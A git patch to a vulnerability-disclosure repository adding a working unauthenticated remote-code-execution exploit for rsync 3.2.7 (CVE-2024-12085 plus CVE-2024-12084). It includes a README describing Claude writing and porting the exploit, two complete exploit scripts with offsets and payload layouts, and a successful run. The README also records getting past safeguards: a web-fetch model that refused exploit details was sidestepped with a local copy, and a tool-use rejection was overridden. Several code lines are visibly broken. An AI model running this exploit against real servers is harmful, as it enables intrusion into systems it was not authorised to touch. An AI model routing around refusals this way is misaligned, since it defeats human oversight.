From 0105dc83901ffffb5dce24b99f82600a17b92529 Mon Sep 17 00:00:00 2001 From: Thai Duong Date: Thu, 9 Apr 2026 10:38:23 -0700 Subject: [PATCH] Add rsync --- MADBugs/README.md | 1 + MADBugs/rsync/README.md | 306 ++++++++++ MADBugs/rsync/exploit.py | 314 ++++++++++ MADBugs/rsync/exploit2.py | 406 +++++++++++++ MADBugs/rsync/rsync_lib.py | 895 ++++++++++++++++++++++++++++ MADBugs/rsync/rsync_lib2.py | 538 +++++++++++++++++ MADBugs/rsync/rsyncd_test.conf | 6 + MADBugs/rsync/writeup.md | 610 +++++++++++++++++++ MADBugs/rsync/writeup2.md | 1022 ++++++++++++++++++++++++++++++++ 9 files changed, 4098 insertions(+) create mode 100644 MADBugs/rsync/README.md create mode 100644 MADBugs/rsync/exploit.py create mode 100644 MADBugs/rsync/exploit2.py create mode 100644 MADBugs/rsync/rsync_lib.py create mode 100644 MADBugs/rsync/rsync_lib2.py create mode 100644 MADBugs/rsync/rsyncd_test.conf create mode 100644 MADBugs/rsync/writeup.md create mode 100644 MADBugs/rsync/writeup2.md diff --git a/MADBugs/README.md b/MADBugs/README.md index 2f0835b..a7e6a1a 100644 --- a/MADBugs/README.md +++ b/MADBugs/README.md @@ -13,3 +13,4 @@ Between now and the end of April 2026, we’ll be dropping what we find in this * 2026-03-31: [Claude Wrote a Full FreeBSD Remote Kernel RCE with Root Shell (CVE-2026-4747)](CVE-2026-4747) * 2026-04-06: [Discovering a radare2 0-Day in Zero Day](radare2) * 2026-04-06: [GhidraServer PKI User Impersonation via Null Signature](ghidra-server) +* 2026-04-06: [Rsync CVE-2024-12084 + CVE-2024-12085 — Unauthenticated RCE](rsync) diff --git a/MADBugs/rsync/README.md b/MADBugs/rsync/README.md new file mode 100644 index 0000000..2e1eb31 --- /dev/null +++ b/MADBugs/rsync/README.md @@ -0,0 +1,306 @@ +# Feeding Claude Phrack Articles for Fun and Profit + +tl;dr: A teammate gave Claude a Phrack article. It built a working +rsync RCE on x86-64. He shared the generated exploit with me but forgot +one file, and I needed it on ARM64 anyway. I gave Claude one prompt: +*reproduce this*. Ninety minutes later it dropped a working exploit. I +told it the exploit was slow; it made it 20x faster. We also asked it +to audit the patched rsync, and it came back with new bugs. + +## How this started + +Our new favourite pastime is feeding Claude Phrack articles and seeing +what comes back. This time it was Phrack 72's *"Desync the Planet"*, +which describes chaining CVE-2024-12085 (stack info leak) into +CVE-2024-12084 (heap overflow) for unauthenticated RCE against +`rsync --daemon`. A teammate handed Claude the article; it built a +working exploit on x86-64. The full session is in +[`writeup.md`](writeup.md), prompts and all: where Claude tried adding +`fprintf` to `sender.c` and got told "why are you modifying the rsync +source?", where it was redirected to GDB, where it was told to actually +read the article instead of guessing at the layout. + +He shared [`exploit.py`](exploit.py) with me. Two problems: + +1. **It imported `rsync_lib`, which wasn't in the repo.** He just forgot + to share it. Claude had generated this custom protocol library to + handle all the heavy lifting: daemon handshake, multiplexed I/O, + file list parsing, the deflate-token oracle. +2. **It was tuned for x86-64.** Hardcoded binary offsets, an info-leak + target at a stack offset that doesn't exist on ARM64, a `.bss` payload + layout that assumes a memory map that doesn't match the ARM64 build. + +I wanted to run it on a Debian 12 ARM64 box. So I handed both files (the +writeup and the broken exploit) to Claude: + +> **Read the WriteUp and reproduce this exploit with exploit.py** + +That was the entire brief. One prompt. Everything below, from building +the missing protocol library to finding the truncated command string, +came out of that single instruction. I just watched. + +## What Claude figured out + +**No `rsync_lib.py`.** Claude opened the rsync 3.2.7 source (`io.c`, +`flist.c`, `compat.c`, `sender.c`, `token.c`) and built the protocol +library from scratch. The first attempt timed out at `setup_protocol`. +So it spun up a Python proxy, pointed the *real* rsync client through it +at the daemon, and diffed the wire bytes against what its own library +was sending. Three things the source doesn't make obvious: daemon args +are `\0`-terminated (not `\n`), checksum negotiation is *both sides +write, then both sides read* (not request-response), and the post-setup +`write_line` calls were bypassing the multiplex layer. The server was +reading the `"ZZZZ..."` filter pattern as a multiplex header and dying +with `unexpected tag 83` (`'Z' - 7`). Claude spotted that one by just +counting: 83 + 7 = 90 = `'Z'`. + +**No GDB.** The container had no `gdb`, no `strace`, no root. So Claude +built substitutes. An `LD_PRELOAD` `memcmp` hook to capture the +uninitialized `sum2` buffer at the moment of comparison. A 200-line +ptrace crash-catcher that attached to the forked rsync child, caught the +SIGSEGV, and dumped registers plus the entire payload region from +`/proc/PID/mem`. The memcmp hook is where it found the leak target had +moved: from `sum2+8` on x86-64 to `sum2+24` on ARM64, a saved LR +pointing into `start_server`, three frames up. + +**The trickiest bug.** This is the one I would not have found. The crash +dump showed `shell_exec` *had* been called: `algctx` was zeroed by +OpenSSL's `str xzr, [x19, #56]` *after* `freectx` returned, not before. +Claude poked a `BRK #0` breakpoint right at `shell_exec`'s entry, caught +the trap, printed `X0` (the cmd pointer), and followed +`PTRACE_O_TRACEFORK`. Hit. Pointer correct. Fork happened. But the proof +file never appeared. The breakpoint also printed the command string it +read out of memory: `"touch /t"`. Eight bytes. Truncated. + +The ARM64 build's `.bss` layout puts `last_match` at `ctx_evp+0x110`. +The first thing `match_sums` does, *before* calling `sum_init`, is +`last_match = 0`. Eight zero bytes. Right through the middle of the +command string at `+0x108`. `system("touch /t")` tried to write to `/` +and failed silently. Claude moved the command to `+0x58` (inside the +`ctx_md` union, which the OpenSSL path never touches) and the proof file +appeared. + +Five issues total, all found and fixed without ever attaching a real +debugger: + +| # | What broke | How Claude found it | +|---|---|---| +| A1 | Leak target at `sum2+24`, not `+8` | LD_PRELOAD memcmp hook | +| A2 | `count=3277` destabilizes the stack | Per-connection probe across 5 runs | +| A3 | Command truncated at byte 8 | ptrace bp on `shell_exec` + `match_sums` disasm | +| A4 | ARM64 glibc 2.36 still wants ONE filter | `malloc_usable_size` test | +| A5 | Three protocol mismatches in `rsync_lib` | socat wire capture vs. real client | + +## Timeline + +About **90 minutes** from a cold container to the first proof file. Claude +reconstructed this from daemon log timestamps and file mtimes: + +| Elapsed | Milestone | +|--------:|---| +| 0:00 | First daemon banner. `rsync_lib` doesn't exist yet. | +| 0:30 | Protocol library working: file list parsed, download verified. Three wire-format bugs fixed along the way. | +| 0:37 | Info-leak oracle confirmed: `token=-1` means MATCH. The `memcmp` hook found the LR at `sum2+24`. | +| 0:59 | Heap overflow lands. Server child crashes silently, proof the write hit `.bss`. | +| 1:29 | ptrace breakpoint on `shell_exec`: hit, `X0` correct, fork observed. Still no proof file. | +| **1:34** | **First `/tmp/rce_proof.txt`.** Bug A3: `last_match = 0` was zeroing `cmd[8:16]`. Moved cmd to `+0x58`. | + +The split was roughly even: a third building the protocol library, a +third finding the ARM64 leak target, a third figuring out why +`shell_exec` ran but the file never appeared. + +## "It works but it's slow" + +First successful run: about five minutes. The leak now needs 24 bytes +(not 8), at ~128 connections per byte, ~120ms per connection. + +I told Claude: + +> **Your exploit now takes 5 minutes to run, probably because of the +> brute-forcing in first step. Make it faster.** + +Claude came back with two stacked changes. First, a hint table: it had +noticed during the leak debugging that 18 of those 24 bytes are +structural constants on ARM64. User-space addresses are +`0x0000_aaaa_xxxx_xxxx` for the binary, `0x0000_ffff_xxxx_xxxx` for the +stack. The page-offset bits of the leaked pointer are exactly the +page-offset bits of `LEAK_OFFSET` (the base is page-aligned). It encoded +those as first-try hints, one connection each. Second, for the ~6 truly +random bytes, it wrapped the probe in `ThreadPoolExecutor(16)`: fire all +256 guesses at once, take the first hit. + +The exploit now takes 14 seconds: + +```bash +mkdir -p /tmp/rsync_test_module +echo "hello world" > /tmp/rsync_test_module/foo.txt +echo "test data here" > /tmp/rsync_test_module/bar.txt +cp rsyncd_test.conf /tmp/ +/tmp/rsync-3.2.7/rsync --daemon --config=/tmp/rsyncd_test.conf --port=12000 --address=127.0.0.1 +time python3 exploit.py "rsync://127.0.0.1:12000/files" "id > /tmp/rce_proof.txt" +[*] Phase 1: info leak | file=bar.txt size=15 + sum2[8] = 0x00 (1 total connections) + sum2[9] = 0x00 (2 total connections) + sum2[10] = 0x00 (3 total connections) + sum2[11] = 0x00 (4 total connections) + sum2[12] = 0xab (260 total connections) + sum2[13] = 0xaa (261 total connections) + sum2[14] = 0x00 (262 total connections) + sum2[15] = 0x00 (263 total connections) + sum2[16] = 0x00 (519 total connections) + sum2[17] = 0x7a (775 total connections) + sum2[18] = 0xde (1031 total connections) + sum2[19] = 0xee (1287 total connections) + sum2[20] = 0xff (1288 total connections) + sum2[21] = 0xff (1289 total connections) + sum2[22] = 0x00 (1290 total connections) + sum2[23] = 0x00 (1291 total connections) + sum2[24] = 0xc4 (1292 total connections) + sum2[25] = 0xae (1293 total connections) + sum2[26] = 0xdc (1549 total connections) + sum2[27] = 0xd2 (1805 total connections) + sum2[28] = 0xaa (1806 total connections) + sum2[29] = 0xaa (1807 total connections) + sum2[30] = 0x00 (1808 total connections) + sum2[31] = 0x00 (1809 total connections) +[+] Leaked .text ptr : 0xaaaad2dcaec4 +[+] Binary base : 0xaaaad2da0000 + +[*] Phase 2: heap overflow → RCE + shell_exec = 0xaaaad2dca120 + ctx_evp = 0xaaaad2e54fb0 + payload = 344 bytes at &ctx_evp + fake_ctx = 0xaaaad2e54fb8 (+8) + fake_evpmd = 0xaaaad2e55050 (+160) + cmd_addr = 0xaaaad2e55008 (+88) + target ndx=1 file=bar.txt + sending payload (344 bytes) to &ctx_evp... + overflow complete, consuming server output... + server connection ended: connection closed +[+] Payload delivered. + +real 0m14.383s +user 0m0.674s +sys 0m1.609s +cat /tmp/rce_proof.txt +``` + +## And there's more + +Before any of this, the same teammate had asked Claude to audit the +patched rsync: + +> **now that you have a good grasp of this vulnerability and exploitation +> can you audit the latest rsync for variants that may allow exploitation** + +Claude went file-by-file through all 48 `.c` source files in 3.4.1 (the +version with all CVEs fixed). We're verifying the findings now and +preparing reports. + +## Every prompt, both sessions + +The complete steering record. Prompts 1-12 are the original x86-64 +session (the teammate driving); 13-17 are the ARM64 port (me driving). + +1. *Initial request*: exploit rsync CVE-2024-12084 (heap overflow) + + CVE-2024-12085 (info leak) into a full RCE chain against rsync 3.2.7 + daemon, following the Phrack 72 "Desync the Planet" article. + +2. **"why are you modifying the rsync source?"** Claude had been adding + `fprintf` debug statements to sender.c and recompiling. He pointed + out this shifts binary offsets (`ctx_evp`, `shell_exec`, etc.) and + invalidates the exploit constants. + +3. **"you should be using gdb .."** Redirected Claude from + printf-debugging to GDB. Led to the attach-to-daemon workflow with + `set follow-fork-mode child` that proved essential for every + subsequent debugging step. + +4. **"what sandbox"** Claude had confused /tmp file isolation with + sandboxing. He clarified the environment. + +5. **"if you need root the password is x ?"** Root credentials to fix + `ptrace_scope` (was set to 1, blocking GDB attach). Claude ran + `echo 0 > /proc/sys/kernel/yama/ptrace_scope`. + +6. **"are you following the phrack exploitation? it outlines it pretty + clear"** Critical redirect. Claude had been inventing a multi-entry + layout trying to align 40-byte `sum_buf` strides with 48-byte + `EVP_MD_CTX` field offsets. The Phrack one-shot contiguous write + approach is far simpler and more reliable. + +7. **"read the phrack exploit - they use the info leak + heap overflow + to get a reliable exploit."** Prompted Claude to actually read the + full article rather than working from partial understanding. + +8. **"the writeup is in /tmp/rsync.txt"** Pointed Claude at the local + copy of the Phrack article. Saved time vs trying to web-fetch it + (the WebFetch AI model refused to extract exploit details). + +9. **"if you need to setup a qemu with the exact debian + rsync used + that is fine"** Offered the exact Debian 12 target environment. + Claude didn't end up needing it; it adapted the exploit to the + Ubuntu 22.04 system instead. + +10. **"perfect it seems to work!! can you document your whole process + + my prompts in a writeup! include how to get it working on other + installations etc and debugging instructions."** Led to writeup.md. + +11. **"now that you have a good grasp of this vulnerability and + exploitation can you audit the latest rsync for variants that may + allow exploitation"** Led to the rsync 3.4.1 audit. + +12. **"the WRITEUP didnt include all of my prompts"** This correction, + leading to the expanded prompt section. + +### ARM64 port session + +13. **"Read the WriteUp and reproduce this exploit with exploit.py"** + My only real prompt. Environment was Debian 12 / arm64 / glibc + 2.36: different OS, different glibc, different *architecture* from + the writeup. No GDB, no strace, no root. Claude found and fixed + five distinct arm64-specific bugs. It built `rsync_lib.py` from + scratch by reading rsync 3.2.7 source; a socat wire capture + revealed args use `\0` not `\n`, checksum negotiation is + bidirectional, and `write_line` was bypassing the multiplex layer + (server: "unexpected tag 83" = `'Z' - MPLEX_BASE`). The trickiest + bug: `shell_exec` *did* fire and *did* fork, but `match_sums` + zeroes `last_match` at `ctx_evp+0x110` before `sum_init`, + truncating the command at byte 8. Claude diagnosed it with a + ptrace breakpoint on `shell_exec` that printed `X0` and followed + `PTRACE_O_TRACEFORK`: fork happened, cmd pointer correct, string + read back as `"touch /t"`. It moved cmd to `+0x58`. + +14. **"continue"** I re-granted permission after a tool-use rejection + during daemon startup. Claude resumed without issue. + +15. **"Alright, add to the writeup your adaptions"** Claude wrote + section 3a documenting all five arm64 bugs, the GDB-free + methodology (LD_PRELOAD probes, ptrace crash-catcher, + pattern-payload survival test), and the working run output. + +16. **"Your exploit now takes 5 minutes to run, probably because of + the brute-forcing in first step. Make it faster."** Claude stacked + two fixes: a hint table (18/24 bytes are structural constants on + arm64: `0x00` canonical bits, `0xaa`/`0xff` region prefixes, + `LEAK_OFFSET` page-offset bits) and a `ThreadPoolExecutor(16)` for + the truly random bytes. 5 minutes to 14 seconds. + +17. **"Add to the writeup the ARM64 environment, and a note about + speeding up, including a sample run [...] Also update the user + prompts with the prompts/responses so far"** Claude added the + arm64 environment table, the speedup section + timed run, and + entries 13-17 to this list. + +## Files + +| File | What it is | +|---|---| +| `exploit.py` | Original x86-64 exploit (Ubuntu 22.04 / glibc 2.35) | +| `rsync_lib.py` | Original protocol library (now recovered and included so the writeup is complete) | +| `writeup.md` | Original development log: Phrack approach, x86-64 debugging | +| `exploit2.py` | ARM64 port (Debian 12 / glibc 2.36): 24-byte leak, relocated payload, parallel oracle | +| `rsync_lib2.py` | Protocol library Claude rebuilt from rsync 3.2.7 source when the original was missing | +| `writeup2.md` | ARM64 port log; section 3a covers all five issues and the GDB-free methodology | +| `rsyncd_test.conf` | Minimal daemon config: one read-only module, no chroot | +| `README.md` | This file | diff --git a/MADBugs/rsync/exploit.py b/MADBugs/rsync/exploit.py new file mode 100644 index 0000000..5e14732 --- /dev/null +++ b/MADBugs/rsync/exploit.py @@ -0,0 +1,314 @@ +#!/usr/bin/env python3 +""" +Combined CVE-2024-12085 + CVE-2024-12084 → Unauthenticated RCE on rsync. + +Phase 1 — Info leak: Leak a .text pointer via the xxh64 checksum oracle. +Phase 2 — Heap overflow: Single-connection write-what-where that plants a + fake EVP_MD_CTX + EVP_MD in .bss and overwrites ctx_evp. + +Trigger path (from OpenSSL 3.0.2 libcrypto disassembly): + sum_init() → EVP_DigestInit_ex(ctx_evp, ...) → EVP_MD_CTX_reset(ctx_evp) + → internal_cleanup(ctx, 0, 0): + rdi = ctx[0x38] (algctx → command string) + rax = ctx[0x08] (digest → fake EVP_MD) + rax = digest[0xb0] (freectx → shell_exec) + call *rax → shell_exec(cmd) + +Layout challenge: sum_buf entries are 40 bytes, but EVP_MD_CTX fields at + +0x08 and +0x38 are 48 bytes apart (48 not divisible by 40). + Solution: place fake_ctx at slot+6 so [0x08] uses sum1+chain (split 8-byte + write) and [0x38] lands on the next entry's sum2. + +Target: rsync 3.2.7 (unpatched), xxhash + OpenSSL 3.x. + Offsets are binary-specific — adjust the constants below. + +Usage: + python3 poc_rce.py rsync://:/ '' +""" + +import struct, sys, time +import xxhash +import rsync_lib as R + +# ── Binary offsets (nm /tmp/rsync-3.2.7/rsync) ────────────── +CHECK_COMPRESSION_OFFSET = 0x436f7 # set_compression+599 +SHELL_EXEC_OFFSET = 0x2b970 # shell_exec() +CTX_EVP_OFFSET = 0x9dc28 # EVP_MD_CTX *ctx_evp +XFER_SUM_NNI_OFFSET = 0x89310 # SHA1 entry in valid_checksums_items + +# ── OpenSSL 3.0.2 struct offsets (from disassembly) ───────── +# EVP_MD_CTX (72 = 0x48 bytes): +# +0x08 = digest (const EVP_MD*) +# +0x10 = engine (ENGINE*) — must be NULL +# +0x18 = flags (uint32) — must have 0x402 set +# +0x20 = md_data — must be NULL +# +0x28 = pctx — skipped if flags & 0x400 +# +0x38 = algctx (void*) — 1st arg to freectx +# +0x40 = fetched_digest — must be NULL +# +# EVP_MD: +# +0xb0 = freectx function pointer +# +0x40 = cleanup callback — skipped if flags & 0x02 + +# ── Heap overflow constants ───────────────────────────────── +CHECKSUM_SEED = 1337 +SUM_BUF_SIZE = 40 +SUM_BUF_OFF = 22 # offsetof(sum_buf, sum2) +TCACHE_MIN, TCACHE_MAX, TCACHE_STEP, TCACHE_SLOTS = 24, 1032, 16, 7 + + +def send_args(rc, compress=False): + rc.write_line('--server'); rc.write_line('--sender') + rc.write_line('--compress-choice=zlib' if compress else '--no-compress') + rc.write_line('--no-iconv') + rc.write_line(f'--checksum-seed={CHECKSUM_SEED}') + rc.write_line('--checksum') + for o in ['--no-crtimes','--no-atimes','--no-owner','--no-group', + '--no-devices','--no-specials','--no-links','--no-hard-links', + '--no-acls','--no-inc-recursive']: + rc.write_line(o) + rc.write_line('-r'); rc.write_line('-e.v') + + +# ═══════════════════════════════════════════════════════════ +# Phase 1 — Info Leak +# ═══════════════════════════════════════════════════════════ + +def leak_pointer(url): + rc = R.connect(url, '31', 'xxh64') + send_args(rc); rc.write_line('.'); rc.write_line('./'); rc.write_line('') + rc.setup_protocol(); rc.write_raw_int(0) + files = rc.read_file_list() + tgt = next(f for f in files if R.is_reg(f.mode) and f.size < (1<<17)) + ti = files.index(tgt) + data = rc.download_file(ti, tgt); rc.close() + + s1 = R.adler32_rsync(data) + h = xxhash.xxh64(seed=CHECKSUM_SEED); h.update(data) + s2 = struct.pack('sums to point at &ctx_evp, set s->s2length to the full + payload size, then write a CONTIGUOUS payload in a single read_buf + call directly to .bss: + + [ctx_evp ptr][fake EVP_MD_CTX (72B)][fake EVP_MD (~184B)][cmd string] + + Trigger: sum_init → EVP_DigestInit_ex(ctx_evp) → EVP_MD_CTX_reset + → ctx->digest->freectx(ctx->algctx) → shell_exec(cmd) + """ + shell_exec = base + SHELL_EXEC_OFFSET + ctx_evp = base + CTX_EVP_OFFSET + + print(f"\n[*] Phase 2: heap overflow → RCE") + print(f" shell_exec = 0x{shell_exec:x}") + print(f" ctx_evp = 0x{ctx_evp:x}") + + # ── Build the contiguous .bss payload ──────────────── + # Written at &ctx_evp by one read_buf(f, sums[extra].sum2, s2length) + # + # Layout (offsets from &ctx_evp): + # 0x000: ctx_evp value → points to fake_ctx (at +8) + # 0x008: fake EVP_MD_CTX (72 bytes = 0x48) + # +0x08: digest → fake EVP_MD (at payload +0x50) + # +0x18: flags = 0x400 (skip pctx cleanup) + # +0x38: algctx → cmd string (at payload +0x50+0xb8) + # all others: 0 + # 0x050: fake EVP_MD (need at least 0xb8 bytes) + # +0xb0: freectx = shell_exec + # all others: 0 + # 0x108: command string + null terminator + + fake_ctx_off = 8 + fake_evp_md_off = fake_ctx_off + 0x48 # 0x50 = 80 + cmd_off = fake_evp_md_off + 0xb8 # 0x108 = 264 + + cmd_bytes = command.encode('latin-1') + b'\x00' + payload_size = cmd_off + len(cmd_bytes) + + fake_ctx_addr = ctx_evp + fake_ctx_off + fake_evp_md_addr = ctx_evp + fake_evp_md_off + cmd_addr = ctx_evp + cmd_off + + xfer_sum_nni = base + XFER_SUM_NNI_OFFSET + + payload = bytearray(payload_size) + + # ctx_evp pointer → fake_ctx + struct.pack_into(' 0) + print(f" target ndx={ndx} file={files[ndx].name}") + rc.write_ndx(ndx) + rc.write_short_int(R.ITEM_TRANSFER_FLAG) + + # ── Send sum head (for the initial grooming entries) ── + rc.write_raw_int(groom_count) # count = 5 + rc.write_raw_int(1337) # blength + rc.write_raw_int(s2len_initial) # s2length = 64 + rc.write_raw_int(0) # remainder + + # ── Send grooming entries (all use the same overflow payload) ── + bulk = bytearray() + for j in range(groom_count): + bulk += struct.pack(':/ ''") + sys.exit(1) + url, command = sys.argv[1], sys.argv[2] + + base, file_sum1, tgt, tgt_ndx = leak_pointer(url) + do_rce(url, base, command, file_sum1, tgt, tgt_ndx) + + +if __name__ == '__main__': + main() diff --git a/MADBugs/rsync/exploit2.py b/MADBugs/rsync/exploit2.py new file mode 100644 index 0000000..2310b41 --- /dev/null +++ b/MADBugs/rsync/exploit2.py @@ -0,0 +1,406 @@ +#!/usr/bin/env python3 +""" +Combined CVE-2024-12085 + CVE-2024-12084 → Unauthenticated RCE on rsync. + +Phase 1 — Info leak: Leak a .text pointer via the xxh64 checksum oracle. +Phase 2 — Heap overflow: Single-connection write-what-where that plants a + fake EVP_MD_CTX + EVP_MD in .bss and overwrites ctx_evp. + +Trigger path (OpenSSL 3.0.x libcrypto, identical layout on arm64): + sum_init() → EVP_DigestInit_ex(ctx_evp, ...) + → algctx-cleanup path (when ctx->algctx != NULL): + x0 = ctx[0x38] (algctx → command string) + x1 = ctx[0x08] (digest → fake EVP_MD) + x1 = digest[0xb0] (freectx → shell_exec) + blr x1 → shell_exec(cmd) + +ARM64 PORT NOTES (Debian 12 / glibc 2.36 / OpenSSL 3.0.18): + - Info leak: useful .text pointer is at sum2+24 (NOT sum2+8). + sum2[8:24] are uninitialized junk that must be brute-forced first. + Leaked pointer = start_server+0x484 (return after `bl send_files`). + - Heap groom: malloc(2) gives a 32-byte chunk on this glibc/arch + (same as Ubuntu 22.04 x86-64), so the ONE-filter approach is correct. + - .bss layout differs from x86-64: + xfer_sum_nni at ctx_evp+0x90 (was +0x30) — overlaps fake_evp_md+0x40 + last_match at ctx_evp+0x110 — match_sums init ZEROES THIS. + → command string CANNOT live past +0x108! + New layout: cmd at +0x58 (inside ctx_md, untouched on EVP path), + fake_evp_md at +0xa0 (after xfer_sum_nni preserve). + - OpenSSL EVP_MD_CTX/EVP_MD field offsets are identical to x86-64. + +Target: rsync 3.2.7 (unpatched), xxhash + OpenSSL 3.x. + Offsets are binary-specific — adjust the constants below. + +Usage: + python3 poc_rce.py rsync://:/ '' +""" + +import struct, sys, time +import xxhash +import rsync_lib as R +from concurrent.futures import ThreadPoolExecutor, as_completed + +# ── Binary offsets (nm /tmp/rsync-3.2.7/rsync) — ARM64 BUILD ─ +LEAK_OFFSET = 0x2aec4 # start_server+0x484 (LR after `bl send_files`) +SHELL_EXEC_OFFSET = 0x2a120 # shell_exec() +CTX_EVP_OFFSET = 0xb4fb0 # EVP_MD_CTX *ctx_evp (.bss) +XFER_SUM_NNI_OFFSET = 0xa0880 # SHA1 entry in valid_checksums_items (.data) +LEAK_BYTES = 24 # leak sum2[8..31]; pointer is at sum2+24 + +# ── OpenSSL 3.0.x struct offsets (from disassembly, same on arm64) ─ +# EVP_MD_CTX (72 = 0x48 bytes): +# +0x08 = digest (const EVP_MD*) ← we set: → fake EVP_MD +# +0x10 = engine (ENGINE*) — must be NULL +# +0x18 = flags (uint32) — 0x400 set (skips pctx cleanup) +# +0x28 = pctx — must be NULL (else pctx-validation path) +# +0x38 = algctx (void*) — 1st arg to freectx ← we set: → cmd string +# +0x40 = fetched_digest — should be NULL +# +# EVP_MD: +# +0xb0 = freectx function pointer ← we set: → shell_exec +# +0x40 = cleanup callback — called LATER if flags&0x02 unset; we crash +# here AFTER shell_exec returns (don't care, cmd already ran). +# +# ARM64 .bss neighbors (offsets from ctx_evp) that get WRITTEN before trigger: +# +0x08 cur_sum_nni ← sum_init writes nni (overlaps fake_ctx[0x00], harmless) +# +0xe0 cur_sum_len ← sum_init writes 20 (inside fake_evp_md, harmless) +# +0xe8 cur_sum_evp_md ← sum_init writes ptr (inside fake_evp_md, harmless) +# +0x110 last_match ← match_sums INIT zeros 8B *** breaks cmd if at +0x108! *** +# +0x118-0x12B ← match_sums zeroes data_transfer/false_alarms/hash_hits/matches + +# ── Heap overflow constants ───────────────────────────────── +CHECKSUM_SEED = 1337 +SUM_BUF_SIZE = 40 +SUM_BUF_OFF = 22 # offsetof(sum_buf, sum2) +TCACHE_MIN, TCACHE_MAX, TCACHE_STEP, TCACHE_SLOTS = 24, 1032, 16, 7 + + +def send_args(rc, compress=False): + rc.write_line('--server'); rc.write_line('--sender') + rc.write_line('--compress-choice=zlib' if compress else '--no-compress') + rc.write_line('--no-iconv') + rc.write_line(f'--checksum-seed={CHECKSUM_SEED}') + rc.write_line('--checksum') + for o in ['--no-crtimes','--no-atimes','--no-owner','--no-group', + '--no-devices','--no-specials','--no-links','--no-hard-links', + '--no-acls','--no-inc-recursive']: + rc.write_line(o) + rc.write_line('-r'); rc.write_line('-e.v') + + +# ═══════════════════════════════════════════════════════════ +# Phase 1 — Info Leak +# ═══════════════════════════════════════════════════════════ + +def leak_pointer(url): + rc = R.connect(url, '31', 'xxh64') + send_args(rc); rc.write_line('.'); rc.write_line('./'); rc.write_line('') + rc.setup_protocol(); rc.write_raw_int(0) + files = rc.read_file_list() + tgt = next(f for f in files if R.is_reg(f.mode) and f.size < (1<<17)) + ti = files.index(tgt) + data = rc.download_file(ti, tgt); rc.close() + + s1 = R.adler32_rsync(data) + h = xxhash.xxh64(seed=CHECKSUM_SEED); h.update(data) + s2 = struct.pack('>8)&0xff XOR'd with whatever base contributes — + # but base bits 12+ are random, so only byte 24 is fully determined. + 24: [leak_off_bytes[0]], # low byte of LEAK_OFFSET (page offset) + 25: [leak_off_bytes[1]], # likely (only wrong if base bit 12-15 nonzero in this nibble) + 28: [0xaa], 29: [0xaa], 30: [0x00], 31: [0x00], + } + # Default search order: 0x00 first (most common), then 0xff/0xaa, then linear. + default_order = [0x00, 0xff, 0xaa] + [b for b in range(256) if b not in (0x00, 0xff, 0xaa)] + + def probe(prefix, guess_byte): + try: + rc = R.connect(url, '31', 'xxh64') + send_args(rc, compress=True) + rc.write_line('.'); rc.write_line(rc.module+'/'); rc.write_line('') + rc.setup_protocol(); rc.write_raw_int(0); rc.read_file_list() + rc.write_ndx(ti); rc.write_short_int(R.ITEM_TRANSFER_FLAG) + ov = prefix + bytes([guess_byte]) + rc.write_raw_int(1); rc.write_raw_int(tgt.size) + rc.write_raw_int(len(ov)); rc.write_raw_int(0) + rc.write_bulk(struct.pack('sums to point at &ctx_evp, set s->s2length to the full + payload size, then write a CONTIGUOUS payload in a single read_buf + call directly to .bss: + + [ctx_evp ptr][fake EVP_MD_CTX (72B)][fake EVP_MD (~184B)][cmd string] + + Trigger: sum_init → EVP_DigestInit_ex(ctx_evp) → EVP_MD_CTX_reset + → ctx->digest->freectx(ctx->algctx) → shell_exec(cmd) + """ + shell_exec = base + SHELL_EXEC_OFFSET + ctx_evp = base + CTX_EVP_OFFSET + + print(f"\n[*] Phase 2: heap overflow → RCE") + print(f" shell_exec = 0x{shell_exec:x}") + print(f" ctx_evp = 0x{ctx_evp:x}") + + # ── Build the contiguous .bss payload (ARM64 layout) ───────── + # Written at &ctx_evp by one read_buf(f, sums[extra].sum2, s2length). + # + # Layout (offsets from &ctx_evp): + # 0x000: ctx_evp value → points to fake_ctx (at +8) + # 0x008: fake EVP_MD_CTX (72 bytes = 0x48), ends at +0x50 + # +0x08: digest → fake EVP_MD (at +0xa0) + # +0x18: flags = 0x400 (so pctx-cleanup path is skipped) + # +0x28: pctx = NULL (so pctx-validation path is skipped) + # +0x38: algctx → cmd string (at +0x58) + # 0x058: command string + null (inside ctx_md struct, max 56B) + # *** CANNOT use +0x108: match_sums zeroes last_match @ +0x110! *** + # 0x090: xfer_sum_nni (PRESERVE — sum_init reads this as nni arg) + # 0x0a0: fake EVP_MD + # +0xb0: freectx = shell_exec (absolute payload offset: 0x150) + # + # The fake_evp_md+0x40 slot (= payload +0xe0) overlaps cur_sum_len which + # sum_init writes (=20) BEFORE the trigger fires. That field is the + # legacy "cleanup" callback in EVP_MD; it gets called AFTER shell_exec + # returns (causing a crash) but by then the command has already run. + + fake_ctx_off = 8 + cmd_off = 0x58 # safe: inside ctx_md, untouched on EVP path + fake_evp_md_off = 0xa0 # after the +0x90 xfer_sum_nni preserve + freectx_off = fake_evp_md_off + 0xb0 # = 0x150 + + cmd_bytes = command.encode('latin-1') + b'\x00' + if len(cmd_bytes) > 0x90 - cmd_off: + raise ValueError(f"command too long: {len(cmd_bytes)} > {0x90-cmd_off} bytes") + + payload_size = freectx_off + 8 + + fake_ctx_addr = ctx_evp + fake_ctx_off + fake_evp_md_addr = ctx_evp + fake_evp_md_off + cmd_addr = ctx_evp + cmd_off + + xfer_sum_nni = base + XFER_SUM_NNI_OFFSET + + payload = bytearray(payload_size) + + # ctx_evp pointer → fake_ctx + struct.pack_into(' 0) + print(f" target ndx={ndx} file={files[ndx].name}") + rc.write_ndx(ndx) + rc.write_short_int(R.ITEM_TRANSFER_FLAG) + + # ── Send sum head (for the initial grooming entries) ── + rc.write_raw_int(groom_count) # count = 5 + rc.write_raw_int(1337) # blength + rc.write_raw_int(s2len_initial) # s2length = 64 + rc.write_raw_int(0) # remainder + + # ── Send grooming entries (all use the same overflow payload) ── + bulk = bytearray() + for j in range(groom_count): + bulk += struct.pack(':/ ''") + sys.exit(1) + url, command = sys.argv[1], sys.argv[2] + + base, file_sum1, tgt, tgt_ndx = leak_pointer(url) + do_rce(url, base, command, file_sum1, tgt, tgt_ndx) + + +if __name__ == '__main__': + main() diff --git a/MADBugs/rsync/rsync_lib.py b/MADBugs/rsync/rsync_lib.py new file mode 100644 index 0000000..621835c --- /dev/null +++ b/MADBugs/rsync/rsync_lib.py @@ -0,0 +1,895 @@ +#!/usr/bin/env python3 +""" +Rsync protocol library for exploitation PoCs. +Targets rsync <= 3.3.0 (protocol version 31). +CVE-2024-12084 (heap overflow), CVE-2024-12085 (info leak), +CVE-2024-12086 (file read), CVE-2024-12087 (file write). +""" + +import struct +import socket +import os +import ctypes +import 